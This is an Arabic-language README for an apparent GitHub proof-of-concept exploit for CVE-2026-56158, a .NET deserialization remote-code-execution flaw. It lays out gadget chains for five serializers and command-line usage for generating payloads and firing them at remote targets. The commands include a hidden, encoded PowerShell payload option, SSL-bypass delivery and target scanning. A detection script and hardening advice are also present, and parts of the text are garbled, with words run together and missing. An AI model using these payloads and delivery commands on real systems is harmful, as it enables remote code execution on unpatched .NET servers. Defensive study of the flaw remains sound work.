
يولّد خمسة تنسيقات لحمولات إلغاء تسلسل .NET لـ CVE-2026-56158، ويُسلّمها عبر نقاط نهاية HTTP/SOAP/JSON، ويتضمن خادمًا وهميًا (mock server) وماسحًا ضوئيًا ومخرجات تقرير JSON.
حرجة (CVSS 9.8) — إلغاء تسلسل البيانات غير الموثوقة (CWE-502) في Microsoft .NET Framework ووقت تشغيل .NET تم التصحيح: 14 يوليو 2026 | منسوبة إلى: Positive Technologies (PT-2026-60174)
CVE-2026-56158 هي ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد في Microsoft .NET Framework ووقت تشغيل .NET. يكمن الخلل في الإلغاء غير الآمن لتسلسل البيانات غير الموثوقة (CWE-502) — عندما يستخدم تطبيق .NET أدوات التسلسل القديمة (BinaryFormatter, , , ) أو Json.NET مع خيار ، يمكن لمهاجم بعيد غير مصادق تسليم حمولة متسلسلة مصمّمة خصيصًا تؤدي إلى تنفيذ تعليمات برمجية عشوائية عند إلغاء التسلسل.
NetDataContractSerializerSoapFormatterObjectStateFormatterTypeNameHandling.All/Autoتحمل الثغرة درجة أساسية 9.8 حرجة وفق معيار CVSS 3.1 مع المتجه AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H، مما يعني:
أصدرت Microsoft تحديثات أمنية في 14 يوليو 2026 ضمن دورة Patch Tuesday الشهرية.
| الحقل | القيمة |
|---|---|
| معرف CVE | CVE-2026-56158 |
| العنوان | ثغرة تنفيذ التعليمات البرمجية عن بُعد في .NET Framework |
| CVSS 3.1 | 9.8 حرجة (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| CVSS 2.0 | 7.5 عالية (AV:N/AC:L/Au:N/C:P/I:P/A:P) |
| CWE | CWE-502 (إلغاء تسلسل البيانات غير الموثوقة) |
| تاريخ النشر | 14 يوليو 2026 |
| تاريخ التصحيح | 14 يوليو 2026 |
| الجهة المكتشفة | Positive Technologies (PT-2026-60174) |
| EPSS | لم يتم تقييمها بعد |
| CISA KEV | غير مدرجة |
أدوات التسلسل القديمة في وقت تشغيل .NET تعيد بناء أنواع كائنات عشوائية من التدفقات المتسلسلة دون التحقق من النوع أو المحتوى. عندما يتحكم المهاجم في الإدخال المتسلسل، يمكنه توجيه أداة إلغاء التسلسل لإنشاء أنواع غير متوقعة تتيح منشئاتها أو استدعاءاتها العكسية أو واضعات خصائصها تنفيذ تعليمات برمجية عشوائية — هجوم سلسلة أدوات (gadget chain) كلاسيكي لإلغاء التسلسل.
تؤثر الثغرة على عدة آليات تسلسل:
TypeConfuseDelegate تفوّض إلى Process.StartProcessStartInfo مضمّن في جسم SOAPProcess.Start عبر حقل ViewState$type عند تفعيل TypeNameHandling.All/Auto؛ أداة ObjectDataProvider تستدعي Process.Start| المنتج | النطاق المتأثر | الإصدار المُصحَّح | مقالة KB |
|---|---|---|---|
| .NET 8.0 | 8.0.0 – 8.0.28 | 8.0.29 | KB5100998 |
| .NET 9.0 | 9.0.0 – 9.0.17 | 9.0.18 | KB5100998 |
| .NET 10.0 | 10.0.0 – 10.0.9 | 10.0.10 | KB5101001 |
| .NET Framework 3.5 | كل ما قبل التصحيح | تم التصحيح | KB5100985 |
| .NET Framework 4.6.2–4.7.2 | كل ما قبل التصحيح | تم التصحيح | KB5100991 |
| .NET Framework 4.8 | كل ما قبل التصحيح | تم التصحيح | KB5101011 |
| .NET Framework 4.8.1 | كل ما قبل التصحيح | تم التصحيح | KB5101002 |
| Visual Studio 2022 (17.12) | ما قبل التصحيح | 17.12.x | — |
| Visual Studio 2022 (17.14) | ما قبل التصحيح | 17.14.x | — |
| Visual Studio 2026 (18.7) | ما قبل التصحيح | 18.7.x | — |
حزم Alpine Linux:
dotnet8-runtime < 8.0.29-r0dotnet9-runtime < 9.0.18-r0dotnet10-runtime < 10.0.10-r0ينشئ هذا الاستغلال (PoC) الحمولات ويوصلها عبر 5 تنسيقات مختلفة لهجمات إلغاء التسلسل:
Serialized Stream → BinaryFormatter.Deserialize() → TypeConfuseDelegate
→ Process.Start("cmd.exe", "/c calc.exe") → RCE
application/octet-streamActivitySurrogateSelector+ObjectSurrogate → TypeConfuseDelegate → Process.StartXML with type info → NetDataContractSerializer.ReadObject()
→ ProcessStartInfo instantiation → Process.Start → RCE
application/octet-stream أو text/xmlSOAP envelope → SoapFormatter.Deserialize()
→ ProcessStartInfo in SOAP body → Process.Start → RCE
text/xmlViewState binary → ObjectStateFormatter.Deserialize()
→ Process.Start via ViewState field → RCE
application/octet-stream__VIEWSTATE في طلب HTTP POSTJSON with $type → JsonConvert.DeserializeObject<T>(json, TypeNameHandling.All)
→ ObjectDataProvider.MethodName = "Start" → Process.Start → RCE
$typeapplication/jsonTypeNameHandling.All أو Auto┌─────────────────────────────────────────────────────────────────────┐
│ exploit.py │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────────┐ ┌───────────────┐ ┌───────────────────────┐ │
│ │ PayloadGen │ │ PayloadDeliv │ │ VulnerabilityScanner │ │
│ │ │ │ │ │ │ │
│ │ • BinaryFmt │ │ • HTTP POST │ │ • HTTP header check │ │
│ │ • NetData │──▶│ • SOAP/WCF │──▶│ • Endpoint discovery │ │
│ │ • SoapFmt │ │ • JSON API │ │ • ViewState analysis │ │
│ │ • ObjectState│ │ • File save │ │ • Version detection │ │
│ │ • Json.NET │ │ │ │ │ │
│ └──────────────┘ └───────────────┘ └───────────────────────┘ │
│ │ │ │ │
│ └───────────────────┼──────────────────────┘ │
│ ▼ │
│ ┌──────────────┐ ┌──────────────────────────────────────────┐ │
│ │ PayloadList │ │ Report Generator (JSON) │ │
│ │ (Mock .NET) │ │ • CVE metadata, CVSS, CWE │ │
│ │ │ │ • Payload hashes (SHA-256) │ │
│ │ Simulates │ │ • Delivery results │ │
│ │ vulnerable │ │ • RCE confirmation │ │
│ │ deserialization│ │ • References │ │
│ └──────────────┘ └──────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────┘
Attacker ────POST /api/deserialize──────▶ Target (.NET < 8.0.29)
Content-Type: application/octet-stream
Body: [BinaryFormatter payload]
│
▼
BinaryFormatter.Deserialize()
(no type validation)
│
▼
TypeConfuseDelegate invoked
│
▼
Process.Start("cmd.exe", "/c calc.exe")
│
▼
calc.exe spawns → RCE CONFIRMED
graph TD
A[Attacker] --> B[PayloadGenerator]
B --> B1[BinaryFormatter]
B --> B2[NetDataContractSerializer]
B --> B3[SoapFormatter]
B --> B4[ObjectStateFormatter]
B --> B5[Json.NET]
B1 --> C1[TypeConfuseDelegate Gadget]
B2 --> C2[ProcessStartInfo XML]
B3 --> C3[SOAP ProcessStartInfo]
B4 --> C4[ViewState Process.Start]
B5 --> C5[ObjectDataProvider Gadget]
C1 --> D[PayloadDelivery]
C2 --> D
C3 --> D
C4 --> D
C5 --> D
D --> E1[HTTP POST]
D --> E2[SOAP Endpoint]
D --> E3[JSON API]
D --> E4[File]
E1 --> F[.NET Runtime < 8.0.29]
E2 --> F
E3 --> F
E4 --> F
F --> G[Unsafe Deserialization - No Type Validation]
G --> H[Gadget Chain Executes]
H --> I[Process.Start - RCE]
I --> J[Arbitrary Code Execution]
subgraph "Vulnerable Components"
F
G
end
subgraph "Exploit Chain"
H
I
J
endCVE-2026-56158/
├── exploit.py # Main exploit — payload generation, delivery, scanning, mock listener
├── detect.py # Detection & hardening checker
├── test_exploit.py # Unit tests (74 tests)
├── e2e_test.py # End-to-end validation tests (37 tests)
├── README.md # This file — GitHub description page
├── USAGE.md # Detailed step-by-step usage guide
├── DIAGRAM.md # Architecture & attack flow diagrams
├── package.json # Project metadata
├── LICENSE # MIT License
└── .gitignore # Git ignore rules
git clone [email protected]:sam00/CVE-2026-56158-.NET-Framework-RCE-PoC-Exploit.git
cd CVE-2026-56158
قم بتوليد جميع تنسيقات الحمولات الخمسة بالأمر الافتراضي (calc.exe):
python3 exploit.py
المخرجات:
[INFO] Generating deserialization payloads...
[SUCCESS] binaryformatter: 395 bytes
[SUCCESS] netdatacontract: 437 bytes
[SUCCESS] soap: 716 bytes
[SUCCESS] objectstate: 153 bytes
[SUCCESS] jsonnet: 695 bytes
قم بالتوليد بأمر مخصص:
python3 exploit.py -c "powershell.exe -nop -w hidden -enc <base64>"
شغّل الخادم الوهمي المدمج الذي يحاكي .NET الثغرة ووصّل جميع الحمولات:
python3 exploit.py --listen
سيقوم هذا بما يلي:
المخرجات المتوقعة:
[VULN] RCE CONFIRMED — Payload deserialized and command execution triggered
منفذ مخصص:
python3 exploit.py --listen --port 8080
احفظ تنسيق حمولة محددًا في ملف للتوصيل اليدوي:
# Save BinaryFormatter payload
python3 exploit.py --save payload.bin -f binaryformatter -c "calc.exe"
# Save SOAP payload
python3 exploit.py --save payload.soap -f soap -c "whoami"
# Save Json.NET payload
python3 exploit.py --save payload.json -f jsonnet -c "id"
وصّل جميع الحمولات إلى هدف .NET بعيد:
python3 exploit.py -u http://target:8080 -c "calc.exe"
مع تجاوز شهادة SSL:
python3 exploit.py -u https://target:8443 -c "calc.exe" --insecure
افحص هدفًا بحثًا عن إصدار .NET ونقاط نهاية إلغاء التسلسل ومشاكل ViewState:
python3 exploit.py -u http://target:8080 --scan
يتحقق هذا من:
X-AspNet-Version, X-Powered-By)/api/deserialize, /Service.svc, إلخ.)قم بتوليد تقرير JSON يحتوي على تفاصيل الاستغلال الكاملة:
python3 exploit.py --listen -o report.json
# or
python3 exploit.py -u http://target:8080 -o report.json
يتضمن التقرير:
python3 test_exploit.py
تغطي الاختبارات:
python3 e2e_test.py
تغطي الاختبارات:
Unit Tests: 74 passed, 0 failed
E2E Tests: 37 passed, 0 failed
Total: 111 tests passed
شغّل أداة فحص الاكتشاف لتحديد تثبيتات .NET الثغرة:
python3 detect.py
افحص الكود المصدري بحثًا عن أنماط إلغاء التسلسل غير الآمنة:
python3 detect.py /path/to/source/code
تتحقق أداة الاكتشاف من:
dotnet --list-runtimes)BinaryFormatter.Deserialize, NetDataContractSerializer.ReadObject, SoapFormatter.Deserialize, ObjectStateFormatter.Deserialize, TypeNameHandling.All/Auto, LosFormatter.DeserializeBinaryFormatter بـ System.Text.Json أو DataContractSerializer مع ربط أنواع صارمSerializationBinder عند الحاجة إلى أدوات التسلسل القديمةSwitch.System.Runtime.Serialization.UseLegacyBinaryFormatter=falseViewStateMac وViewStateEncryptionTypeNameHandling.All/Auto؛ واستخدم TypeNameHandling.NoneSoapFormatter وNetDataContractSerializer للإدخال غير الموثوقdotnet.exe أو devenv.exe أو عمليات مضيف .NET المخصصةيُوفَّر هذا الاستغلال (إثبات المفهوم) لأغراض تعليمية واختبارات أمنية مصرَّح بها فقط. استخدم هذه الأداة فقط ضد أنظمة تملكها أو لديك إذن كتابي صريح لاختبارها. الاستخدام غير المصرح به ضد أنظمة لا تملكها غير قانوني وقد يخالف قوانين الاحتيال وإساءة استخدام الحاسوب.
المؤلفون والمساهمون غير مسؤولين عن أي إساءة استخدام أو ضرر ناتج عن هذا البرنامج.
رخصة MIT — راجع ملف LICENSE للحصول على التفاصيل.